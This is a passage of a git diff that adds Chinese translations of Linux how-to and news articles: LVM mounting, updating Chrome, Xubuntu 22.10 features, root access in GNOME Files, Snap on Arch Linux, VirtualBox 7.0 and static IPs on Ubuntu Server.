+要使用上述格式化分区,我们必须将其挂载到某个文件夹中。所以,让我们创建一个文件夹 `/mnt/data`: + +``` +$ sudo mkdir /mnt/data +``` + +现在运行 `mount` 命令将其挂载到 `/mnt/data` 文件夹: + +``` +$ sudo mount /dev/volgrp01/lv01 /mnt/data/ +$ df -Th /mnt/data/ +Filesystem Type Size Used Avail Use% Mounted on +/dev/mapper/volgrp01-lv01 ext4 14G 24K 13G 1% /mnt/data +$ +``` + +尝试创建一些没用的文件,运行以下命令: + +``` +$ cd /mnt/data/ +$ echo "testing lvm partition" | sudo tee dummy.txt +$ cat dummy.txt +testing lvm partition +$ +$ sudo rm -f dummy.txt +``` + +完美,以上命令输出确认我们可以访问 LVM 分区。 + +要永久挂载上述 LVM 分区,请使用以下 `echo` 命令将其条目添加到 `fstab` 文件中: + +``` +$ echo '/dev/volgrp01/lv01 /mnt/data ext4 defaults 0 0' | sudo tee -a /etc/fstab +$ sudo mount -a +``` + +以上就是本指南的全部内容,感谢阅读。请在下面的评论区发表你的问题和反馈。 + +--- + +via: https://www.linuxtechi.com/how-to-create-lvm-partition-in-linux/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/10/dmesg-command-new-attached-disk-linux.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/10/fdisk-command-output-new-disk.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/10/pvdisplay-command-output-linux.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/10/vgs-command-output-linux.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/10/lvs-command-output-linux.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/10/mkfs-ext4-filesystem-lvm.png diff --git a/published/202210/20221010 How to Update Google Chrome on Ubuntu Linux.md b/published/202210/20221010 How to Update Google Chrome on Ubuntu Linux.md new file mode 100644 index 0000000000..8c2ee3c263 --- /dev/null +++ b/published/202210/20221010 How to Update Google Chrome on Ubuntu Linux.md @@ -0,0 +1,96 @@ +[#]: subject: "How to Update Google Chrome on Ubuntu Linux" +[#]: via: "https://itsfoss.com/update-google-chrome-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15163-1.html" + +如何在 Ubuntu Linux 上更新谷歌 Chrome +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/22/085013gihsi4rtmpkmj4yb.png) + +> 你设法在你的 Ubuntu 系统上安装了谷歌 Chrome 浏览器。现在你想知道如何让浏览器保持更新。 + +在 Windows 和 macOS 上,当 Chrome 上有可用更新时,你会在浏览器中收到通知,你可以从浏览器中点击更新选项。 + +Linux 中的情况有所不同。你不会从浏览器更新 Chrome。你要使用系统更新对其进行更新。 + +是的。当 Chrome 上有可用的新更新时,Ubuntu 会通过系统更新工具通知你。 + +![当有新版本的 Chrome 可用时,Ubuntu 会发送通知][1] + +你只需单击“立即安装Install Now”按钮,在被提示时输入你的帐户密码并将 Chrome 更新到新版本。 + +让我告诉你为什么会在系统级别看到更新,以及如何在命令行中更新谷歌 Chrome。 + +### 方法 1:使用系统更新更新谷歌浏览器 + +你最初是如何安装 Chrome 的?你从 [Chrome 网站][2] 获得了 deb 安装程序文件,并使用它来 [在 Ubuntu 上安装 Chrome][3]。 + +当你这样做时,谷歌会在你系统的源列表中添加一个仓库条目。这样,你的系统就会信任来自谷歌仓库的包。 + +![谷歌 Chrome 存储库添加到 Ubuntu 系统][4] + +对于添加到系统中的所有此类条目,包更新通过 Ubuntu 更新程序集中进行。 + +这就是为什么当 Google Chrome(和其他已安装的应用)有可用更新时,你的 Ubuntu 系统会向你发送通知。 + +![Chrome 更新可通过系统更新与其他应用一起使用][5] + +**单击“立即安装Install Now”按钮并在要求时输入你的密码**。很快,系统将安装所有可升级的软件包。 + +根据更新偏好,通知可能不是立即的。如果需要,你可以手动运行更新程序工具并查看适用于你的 Ubuntu 系统的更新。 + +![运行软件更新程序以查看你的系统有哪些可用更新][6] + +### 方法 2:在 Ubuntu 命令行中更新 Chrome + +如果你更喜欢终端而不是图形界面,你也可以使用命令更新 Chrome。 + +打开终端,并依次运行以下命令: + +``` +sudo apt update + +sudo apt --only-upgrade install google-chrome-stable +``` + +第一条命令更新包缓存,以便你的系统知道可以升级哪些包。 + +第二条命令 [仅更新单个包][7],即谷歌 Chrome(安装为 `google-chrome-stable`)。 + +### 总结 + +如你所见,Ubuntu 比 Windows 更精简。你会随其他系统更新一起更新 Chrome。 + +顺便一提,如果你对它不满意,你可以了解 [从 Ubuntu 中删除 Google Chrome][8]。 + +Chrome 是一款不错的浏览器。你可以通过 [使用 Chrome 中的快捷方式][9] 来试验它,因为它使浏览体验更加流畅。 + +在 Ubuntu 上享受 Chrome! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/update-google-chrome-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2021/06/chrome-edge-update-ubuntu.png +[2]: https://www.google.com/chrome/ +[3]: https://itsfoss.com/install-chrome-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2021/06/google-chrome-repo-ubuntu.png +[5]: https://itsfoss.com/wp-content/uploads/2021/06/chrome-edge-update-ubuntu.png +[6]: https://itsfoss.com/wp-content/uploads/2022/04/software-updater-ubuntu-22-04.jpg +[7]: https://itsfoss.com/apt-upgrade-single-package/ +[8]: https://itsfoss.com/uninstall-chrome-from-ubuntu/ +[9]: https://itsfoss.com/google-chrome-shortcuts/ \ No newline at end of file diff --git a/published/202210/20221010 Xubuntu 22.10- Top New Features.md b/published/202210/20221010 Xubuntu 22.10- Top New Features.md new file mode 100644 index 0000000000..ad19a4da95 --- /dev/null +++ b/published/202210/20221010 Xubuntu 22.10- Top New Features.md @@ -0,0 +1,123 @@ +[#]: subject: "Xubuntu 22.10: Top New Features" +[#]: via: "https://www.debugpoint.com/xubuntu-22-10-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15155-1.html" + +Xubuntu 22.10:热门新功能 +====== + +> 这是 Xubuntu 22.10 Kinetic Kudu 及其新功能的快速总结。 + +![Xubuntu 22.10 桌面][1] + +质量需要时间来建立。它适用于生活的各个方面,包括软件。 + +自 Xfce 4.16 发布以来,Xfce 4.17(开发版)已经被添加了许多新功能。这包括核心 Xfce、原生应用,GNOME 43、MATE 1.26 和 libadwaita。由于 Xfce 也是 GNOME 和 MATE 的组合,正确地合并和测试这些更改需要时间。 + +在 Xubuntu 22.10 Kinetic Kudu 版本中,你将体验到自 2020 年 12 月以来所做的所有改进:将近两年的错误修复和增强。 + +让我们快速查看一下时间表。目前,Xubuntu 22.10 beta 已经发布,并正在测试中(本问末尾提供了 ISO 链接)。最终版本预计于 2022 年 10 月 20 日发布。 + +### Xubuntu 22.10 新功能 + +#### 核心更新和 GNOME 框架 + +在其核心,Xubuntu 22.10 同其基于的 Ubuntu 22.10 一样,采用 Linux 内核 5.19。另外,Xfce 桌面版本是 Xfce 4.17。 + +4.17 版本是一个开发版,因为它是下一个大版本 Xfce 4.18 的基础,该版本 [计划在今年圣诞节发布][2]。 + +让我们谈谈 GNOME 和相关应用。 Xubuntu 22.10 中的 Xfce 4.17 首次获得了带有 GNOME 43 更新的 libadwaita。这意味着默认的 GNOME 应用程序可以在 Xfce 桌面下正确呈现。 + +这就是说,GNOME 软件应用Software 43 在 Xubuntu 22.10 的 Xfce 桌面下看起来很棒。如果你将其与 Xfce 原生外观和带有 CSD/SSD(例如 “磁盘应用Disk”)的 GNOME 应用进行比较,它们看起来都很顺眼。 + +我对 GNOME 软件应用 43 在 Xfce 桌面下的 libadwaita/GTK4 渲染效果如此之好感到惊讶。 + +![在 Xubuntu 22.10 中一起使用三种不同的窗口][3] + +#### Xfce 应用 + +Xfce 桌面带来了自己的原生应用集。在此版本中,所有应用都从 4.16 升级到 4.17 版本。 + +值得注意的变化包括:Xfce 面板获得了对任务列表插件的中键单击支持,和托盘时钟中的二进制时间模式。PulseAudio 插件引入了一个新的录音指示器,可以过滤掉多个按钮按下事件。 + +Thunar 文件管理器获得了大量的底层功能和错误修复。如果你将 Thunar 4.16 与 Thunar 4.17 进行比较,它是变化巨大的。更改包括更新的上下文菜单、路径栏、搜索、导航等。你可以在 [此处][4] 阅读 Thunar 的所有更改日志。 + +此外,截屏应用 ScreenShooter 默认支持 WebP。蓝牙管理器 Blueman 在系统托盘新增配置文件切换器,并更新了 Catfish 文件搜索工具。 + +这是 Xfce 应用版本的更新列表和指向其更改日志的链接(如果你想进一步挖掘)。 + +* Appfinder [4.17.0][5] +* Catfish [4.16.4][6] +* Mousepad [0.5.10][7] +* Panel [4.17.3][8] +* PulseAudio 插件 [0.4.4][9] +* Ristretto [0.12.3][10] +* Screenshooter [1.9.11][11] +* Task Manager [1.5.4][12] +* Terminal [1.0.4][13] +* Thunar [4.17.9][14] + +#### 外观和感觉 + +默认的 elementary-xfce 图标集(浅色和深色)得到了更新,带有额外的精美图标,让你的 Xfce 桌面焕然一新。默认的 Greybird GTK 主题对窗口装饰进行了必要的改进,并添加了 Openbox 支持。 + +你可能会注意到的重要且可见的变化之一是 `ALT+TAB` 外观。图标更大一些,眼睛更舒适,可以在深色背景下更快地切换窗口。 + +![在 Xubuntu 22.10 的 elementary-xfce 中更新的图标集示例][15] + +![ALT TAB 有更大的图标][16] + +上述更改使默认应用与其所基于的 [Ubuntu 22.10 版本][17] 保持一致。以下是 Xubuntu 22.10 中的更改概括。 + +### 概括 + +* Linux 内核 5.19,基于 Ubuntu 22.10 +* Xfce 桌面版 4.17 +* 原生应用全部更新到 4.17 +* 核心与 GNOME 43、libadwaita、GTK4 保持一致 +* MATE 应用程序升级到 1.26 +* Mozilla Firefox 网页浏览器 105.0 +* Thunderbird 邮件客户端 102.3 +* LibreOffice 7.4.4.2 + +### 总结 + +Xfce 桌面最关键的整体变化将在 4.18 版本中到来。例如,最初的 Wayland 支持、更新的 glib 和 GTK 包。如果一切顺利,你可以在明年 4 月发布的 Xubuntu 中期待这些最好的变化。 + +最后,如果你想试用,可以从 [这个页面][18] 下载 Beta 镜像。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/xubuntu-22-10-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/Xubuntu-22.10-Desktop-1024x563.jpg +[2]: https://debugpointnews.com/xfce-4-18-announcement/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/10/Three-different-window-decorations-together-in-Xubuntu-22.10.jpg +[4]: https://gitlab.xfce.org/xfce/thunar/-/blob/master/NEWS +[5]: https://gitlab.xfce.org/xfce/xfce4-appfinder/-/blob/master/NEWS +[6]: https://gitlab.xfce.org/apps/catfish/-/blob/master/NEWS +[7]: https://gitlab.xfce.org/apps/mousepad/-/blob/master/NEWS +[8]: https://gitlab.xfce.org/xfce/xfce4-panel/-/blob/master/NEWS +[9]: https://gitlab.xfce.org/panel-plugins/xfce4-pulseaudio-plugin/-/blob/master/NEWS +[10]: https://gitlab.xfce.org/apps/ristretto/-/blob/master/NEWS +[11]: https://gitlab.xfce.org/apps/xfce4-screenshooter/-/blob/master/NEWS +[12]: https://gitlab.xfce.org/apps/xfce4-taskmanager/-/blob/master/NEWS +[13]: https://gitlab.xfce.org/apps/xfce4-terminal/-/blob/master/NEWS +[14]: https://gitlab.xfce.org/xfce/thunar/-/blob/master/NEWS +[15]: https://www.debugpoint.com/wp-content/uploads/2022/10/Refreshed-icon-set-sample-in-elementary-xfce-with-Xubuntu-22.10.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2022/10/ALT-TAB-is-refreshed-with-larger-icons.jpg +[17]: https://www.debugpoint.com/ubuntu-22-10/ +[18]: https://cdimage.ubuntu.com/xubuntu/releases/kinetic/beta/ diff --git a/published/202210/20221011 Easiest Way to Open Files as Root in GNOME Files.md b/published/202210/20221011 Easiest Way to Open Files as Root in GNOME Files.md new file mode 100644 index 0000000000..e8854cf6d7 --- /dev/null +++ b/published/202210/20221011 Easiest Way to Open Files as Root in GNOME Files.md @@ -0,0 +1,80 @@ +[#]: subject: "Easiest Way to Open Files as Root in GNOME Files" +[#]: via: "https://www.debugpoint.com/gnome-files-root-access/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15168-1.html" + +在 GNOME 文件应用中以 Root 身份打开文件的最简单方法 +====== + +> 这是在 GNOME 文件应用中以 root 身份访问文件或目录的最简单方法。 + +![][1] + +在 Windows 中,你通常可以在右键单击上下文菜单中以“以管理员身份打开”的方式打开文件或文件夹。 + +该功能是文件管理器的一部分,对于 Windows,它是 Windows 资源管理器的一部分。但是,它是由操作系统及其权限控制模块执行的。 + +在 Linux 发行版及其文件管理器中,情况略有不同。不同的桌面有自己的处理方式。 + +由于以管理员(root)身份修改文件和文件夹是有风险的,并且可能导致系统损坏,因此用户无法通过文件管理器的 GUI 轻松使用该功能。 + +例如,KDE Plasma 的默认文件管理器(Dolphin)最近 [添加了此功能][2],因此当需要 root 权限时,它会通过 PolicyKit KDE Agent(polkit)窗口询问你,如下所示。 + +![使用 Polkit 实现 KIO 后的 Dolphin root 访问权限][3] + +而不是相反的方式。比如,你想在文件管理器中通过 root 打开/执行一些东西时,你不能使用 `sudo dolphin` 以 root 权限运行文件管理器本身。 + +在某种程度上,它挽救了许多不可预见的情况。但是高级用户总是可以通过终端使用 `sudo` 来完成他们的工作。 + +### GNOME 文件应用(Nautilus)和对文件、目录的 root 访问权限 + +话虽如此,[GNOME 文件应用][4](又名 Nautilus)有一种方法可以通过 root 打开文件和文件夹。 + +以下是方法: + +* 打开 GNOME 文件应用(Nautilus)。 +* 然后单击左侧窗格中的“其他位置Other Locations”。 +* 按 `CTRL+L` 调出地址栏。 +* 在地址栏中,输入下面的内容并回车。 + ``` + admin:/// + ``` +* 它会要求输入管理员密码。当你成功验证,你就会以管理员身份打开系统。 +* 现在,从这里开始,无论你做什么,它都是管理员或 root。 + +![以管理员身份输入位置地址][5] + +![输入管理员密码][6] + +![以 root 身份打开 GNOME 文件应用][7] + +但是,与往常一样,请小心你作为管理员所做的事情。在你以 root 身份验证自己之后,通常很容易忘记。 + +这些选项不容易看到总是有原因的,以防止你和许多新的 Linux 用户破坏他们的系统。 + +祝好。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-files-root-access/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/nauroot-1024x576.jpg +[2]: https://www.debugpoint.com/dolphin-root-access/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/02/Dolphin-root-access-after-KIO-with-Polkit-implementation.jpg +[4]: https://wiki.gnome.org/Apps/Files +[5]: https://www.debugpoint.com/wp-content/uploads/2022/10/Enter-the-location-address-as-admin.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/Give-admin-password.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Opening-GNOME-Files-as-root.jpg diff --git a/published/202210/20221011 How to Enable Snap Support in Arch Linux.md b/published/202210/20221011 How to Enable Snap Support in Arch Linux.md new file mode 100644 index 0000000000..f48d40ea70 --- /dev/null +++ b/published/202210/20221011 How to Enable Snap Support in Arch Linux.md @@ -0,0 +1,149 @@ +[#]: subject: "How to Enable Snap Support in Arch Linux" +[#]: via: "https://itsfoss.com/install-snap-arch-linux/" +[#]: author: "Pranav Krishna https://itsfoss.com/author/pranav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15160-1.html" + +如何在 Arch Linux 中启用 Snap 支持 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/21/100128gzzqkf3fcg3f6q3n.jpg) + +Snap 是由 Ubuntu 的母公司 Canonical 设计的通用包格式。有些人不喜欢 Snap,但它有一些优势。 + +通常,某些应用仅以 Snap 格式提供。这为你提供了在 Arch Linux 中启用 Snap 的充分理由。 + +我知道 AUR 拥有大量应用,但 Snap 应用通常直接来自开发人员。 + +如果你希望能够在 Arch Linux 中安装 Snap 应用,你需要先启用 Snap 支持。 + +有两种方法可以做到: + +* 使用 AUR 助手启用 Snap 支持(更简单) +* 通过从 AUR 获取包,手动启用 Snap 支持 + +让我们看看怎么做。 + +### 方法 1、使用 AUR 助手启用 Snap + +Snap 支持在 Arch 用户仓库中以 `snapd` 包的形式提供。你可以使用 AUR 助手轻松安装它。 + +有 [许多 AUR 助手][1],但 `yay` 是我更喜欢的,因为它的语法类似于 [pacman 命令][2]。 + +如果你还没有安装 AUR,请使用以下命令安装 Yay(需要事先安装 `git`): + +``` +git clone https://aur.archlinux.org/yay + +cd yay + +makepkg -si +``` + +![安装 yay][3] + +现在 `yay` 已安装,你可以通过以下方式安装 `snapd`: + +``` +yay -Sy snapd +``` + +![使用 yay 从 AUR 安装 snapd][4] + +每当你 [更新 Arch Linux][5] 系统时,`yay` 都会启用 `snapd` 的自动更新。 + +#### 验证 Snap 支持是否有效 + +要测试 Snap 支持是否正常工作,请安装并运行 `hello-world` Snap 包。 + +``` +sudo snap install hello-world + +hello-world +(或者) +sudo snap run hello-world +``` + +![hello-world Snap 包执行][6] + +如果它运行良好,那么你可以轻松安装其他 Snap 包。 + +### 方法 2、从 AUR 手动构建 snapd 包 + +如果你不想使用 AUR 助手,你仍然可以从 AUR 获取 `snapd`。让我展示详细的过程。 + +你需要先安装一些构建工具。 + +``` +sudo pacman -Sy git go go-tools python-docutils +``` + +![为 Snap 安装依赖项][7] + +完成依赖项安装后,现在可以克隆 `snapd` 的 AUR 目录,如下所示: + +``` +git clone https://aur.archlinux.org/snapd + +cd snapd +``` + +![克隆仓库][8] + +然后构建 `snapd` 包: + +``` +makepkg -si +``` + +当它要求安装其他依赖包时输入 `yes`。 + +![手动构建 snapd][9] + +你已安装 `snapd` 守护程序。但是,需要启用它以在启动时自动启动。 + +``` +sudo systemctl enable snapd --now + +sudo systemctl enable snapd.apparmor --now #start snap applications + +sudo ln -s /var/lib/snapd/snap /snap #optional: classic snap support +``` + +![启动时启用 Snap][10] + +手动构建包的主要缺点是每次新更新启动时你都必须手动构建。使用 AUR 助手为我们解决了这个问题。 + +### 总结 + +我更喜欢 Arch Linux 中的 pacman 和 AUR。很少能看到不在 AUR 中但以其他格式提供的应用。尽管如此,在某些你希望直接从源获取它的情况下,使用 Snap 可能是有利的,例如 [在 Arch 上安装 Spotify][11]。 + +希望本教程对你有所帮助。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-snap-arch-linux/ + +作者:[Pranav Krishna][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pranav/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-aur-helpers/ +[2]: https://itsfoss.com/pacman-command/ +[3]: https://itsfoss.com/wp-content/uploads/2022/10/yay-makepkg.png +[4]: https://itsfoss.com/wp-content/uploads/2022/10/yay-install-snapd.png +[5]: https://itsfoss.com/update-arch-linux/ +[6]: https://itsfoss.com/wp-content/uploads/2022/10/snap-hello-world-1.png +[7]: https://itsfoss.com/wp-content/uploads/2022/10/snapd-manual-install-dependencies.png +[8]: https://itsfoss.com/wp-content/uploads/2022/10/snapd-manual-install-clone.png +[9]: https://itsfoss.com/wp-content/uploads/2022/10/snapd-manual-install-makepkg-800x460.png +[10]: https://itsfoss.com/wp-content/uploads/2022/10/enable-snapd-startup-2.png +[11]: https://itsfoss.com/install-spotify-arch/ diff --git a/published/202210/20221011 VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support.md b/published/202210/20221011 VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support.md new file mode 100644 index 0000000000..ab610a6797 --- /dev/null +++ b/published/202210/20221011 VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support.md @@ -0,0 +1,106 @@ +[#]: subject: "VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support" +[#]: via: "https://news.itsfoss.com/virtualbox-7-0-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15141-1.html" + +VirtualBox 7.0 发布,支持安全启动和全加密虚拟机 +====== + +> VirtualBox 7.0 是自其上次大版本更新以来的一次重大升级。有一些不错的进步! + +![伴随着 VirtualBox 7.0 的发布,支持安全启动和全加密虚拟机][1] + +对 VirtualBox 来说,这是一次大的升级。这个版本值得关注,因为我们在最近几年没有看到过它的大版本更新。 + +对于那些不熟悉 VirtualBox 的人来说,它是一个由 [甲骨文公司][2] 开发的虚拟化软件。 + +随着 VirtualBox 7.0 的推出,增加了许多新功能。 + +让我们来看看其中最关键的一些。 + +### VirtualBox 7.0 的新内容 + +![virtualbox 7.0][3] + +VirtualBox 7.0 是一次有益的升级。有图标更新、主题改进,以及一些关键的亮点,包括: + +* 一个显示运行中的客体Guest的性能统计的新工具。 +* 支持安全启动。 +* 支持全加密虚拟机Full VM Encryption(通过 CLI)。 +* 重新设计的新建虚拟机向导。 + +#### 通过命令行管理的全加密虚拟机 + +虚拟机(VM)现在可以完全加密了,但只能通过命令行界面。 + +这也包括加密的配置日志和暂存状态。 + +截至目前,用户只能通过命令行界面对机器进行加密,未来将增加不同的方式。 + +#### 新的资源监控工具 + +![VirtualBox 7.0 的资源监控][4] + +新的实用程序可以让你监控性能统计,如 CPU、内存使用、磁盘 I/O 等。它将列出所有正在运行的客体的性能统计。 + +这不是最吸引人的补充,但很有用。 + +#### 改进的主题支持 + +对主题的支持在所有平台上都得到了改进。在 Linux 和 macOS 上使用原生引擎,而在 Windows 上,有一个单独的实现。 + +#### 对安全启动的支持 + +VirtualBox 现在支持安全启动,增强了对恶意软件、病毒和间谍软件的安全性。 + +它还将防止虚拟机使用损坏的驱动程序启动,这对企业应用非常重要。 + +使用那些需要安全启动才能运行的操作系统的用户现在应该能够轻松创建虚拟机了。 + +#### 其他变化 + +VirtualBox 7.0 是一次重大的升级。因此,有几个功能的增加和全面的完善。 + +例如,新件虚拟机向导现在已经重新设计,以整合无人值守的客体操作系统安装。 + +![virtualbox 7.0 无人值守的发行版安装][5] + +其他改进包括: + +* 云端虚拟机现在可以被添加到 VirtualBox,并作为本地虚拟机进行控制。 +* VirtualBox 的图标在此版本中得到了更新。 +* 引入了一个新的 3D 栈,支持 DirectX 11。它使用 [DXVK][6] 来为非 Windows 主机提供同样的支持。 +* 支持虚拟 TPM 1.2/2.0。 +* 改进了多显示器设置中的鼠标处理。 +* Vorbis 是音频录制的默认音频编解码器。 + +你可以查看 [发行说明][7] 以了解更多信息。 + +如果你正在寻找增强的功能,如更好的主题支持、加密功能、安全启动支持和类似的功能添加,VirtualBox 7.0 是一个不错的升级。 + +💬 *你对这次升级有什么看法?你会使用较新的版本还是暂时坚持使用旧版本的虚拟机?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/virtualbox-7-0-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/virtualbox-7-0-release.jpg +[2]: https://www.oracle.com/in/ +[3]: https://news.itsfoss.com/content/images/2022/10/VirtualBox_7.0.png +[4]: https://news.itsfoss.com/content/images/2022/10/VirtualBox_7.0_Resource_Monitor.png +[5]: https://news.itsfoss.com/content/images/2022/10/VirtualBox_7.0_Unattended_Guest_Install.png +[6]: https://github.com/doitsujin/dxvk +[7]: https://www.virtualbox.org/wiki/Changelog-7.0 diff --git a/published/202210/20221012 How to Set Static IP Address on Ubuntu Server 22.04.md b/published/202210/20221012 How to Set Static IP Address on Ubuntu Server 22.04.md new file mode 100644 index 0000000000..2d81af776b --- /dev/null +++ b/published/202210/20221012 How to Set Static IP Address on Ubuntu Server 22.04.md @@ -0,0 +1,128 @@ +[#]: subject: "How to Set Static IP Address on Ubuntu Server 22.04" +[#]: via: "https://www.linuxtechi.com/static-ip-address-on-ubuntu-server/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15181-1.html" + +如何在 Ubuntu 服务器 22.04 上设置静态 IP 地址 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/27/091312aohaix6g6kay68xa.jpg) + +> 在这篇文章中,我们将介绍如何在 Ubuntu 服务器 22.04 上设置静态 IP 地址。 + +强烈建议在 Linux 服务器上使用静态 IP,因为它会在重启后保持不变。静态 IP 对邮件服务器、Web 服务器和文件服务器等服务器起着重要作用。 + +**准备条件** + +* 最小安装的 Ubuntu 服务器 22.04 +* 具有 `sudo` 管理员权限的普通用户 + +在 Ubuntu 服务器 22.04 中,网络由 netplan 程序控制,因此我们将使用 netplan 在 Ubuntu 服务器上配置静态 IP 地址。 + +注意:我们不能使用 [nmcli 程序][1],因为它不是 Ubuntu 服务器上默认安装的一部分。 + +### 在 Ubuntu 服务器 22.04 上设置静态 IP 地址 + +登录到你的 Ubuntu 服务器 22.04,查找 netplan 配置文件。它位于 `/etc/netplan` 目录下。 + +``` +$ cd /etc/netplan/ +$ ls -l +total 4 +-rw-r--r-- 1 root root 116 Oct 12 04:03 00-installer-config.yaml +$ +``` + +运行以下 `cat` 命令以查看 `00-installer-config.yaml` 的内容。 + +注意:配置文件的名称可能因你的设置而异。由于它是一个 yaml 文件,因此请确保在编辑时保持缩进和语法。 + +``` +$ cat 00-installer-config.yaml +``` + +输出: + +![Default-Content-netplan-ubuntu-server][2] + +根据上面的输出,它说我们有 `ens33` 接口,它正在从 DHCP 服务器获取 IP。查看接口名称的另一种方法是通过 `ip` 命令。 + +现在,要配置静态 IP 代替 DHCP,使用 `vi` 或 `nano` 编辑器编辑 netplan 配置文件并添加以下内容。 + +``` +$ sudo vi 00-installer-config.yaml +# This is the network config written by 'subiquity' +network: + renderer: networkd + ethernets: + ens33: + addresses: + - 192.168.1.247/24 + nameservers: + addresses: [4.2.2.2, 8.8.8.8] + routes: + - to: default + via: 192.168.1.1 + version: 2 +``` + +保存并关闭文件。 + +![Updated-Netplan-Config-File-Content-Ubuntu-Server][3] + +在上面的文件中,我们使用了以下内容, + +* `ens33` 为接口名称 +* 用于设置静态 IP 的地址 +* `nameservers` 用于指定 DNS 服务器的 IP +* 用于指定默认网关的路由 + +注意:根据你的环境更改 IP 详细信息和接口名称。 + +要是上述修改生效,请使用以下 `netplan` 命令应用这些更改: + +``` +$ sudo netplan apply +``` + +运行以下 IP 命令查看接口上的 IP 地址: + +``` +$ ip addr show ens33 +``` + +要查看默认路由,请运行: + +``` +$ ip route show +``` + +上述命令的输出。 + +![ip-addr-route-command-output-ubuntu-server][4] + +完美,以上命令的输出确认静态 IP 和路由配置成功。 + +这就是这篇文章的全部内容。请在下面的评论部分发表你的问题和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/static-ip-address-on-ubuntu-server/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/configure-ip-with-nmcli-command-linux/ +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/10/Default-Content-netplan-ubuntu-server.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/10/Updated-Netplan-Config-File-Content-Ubuntu-Server.png +[4]: 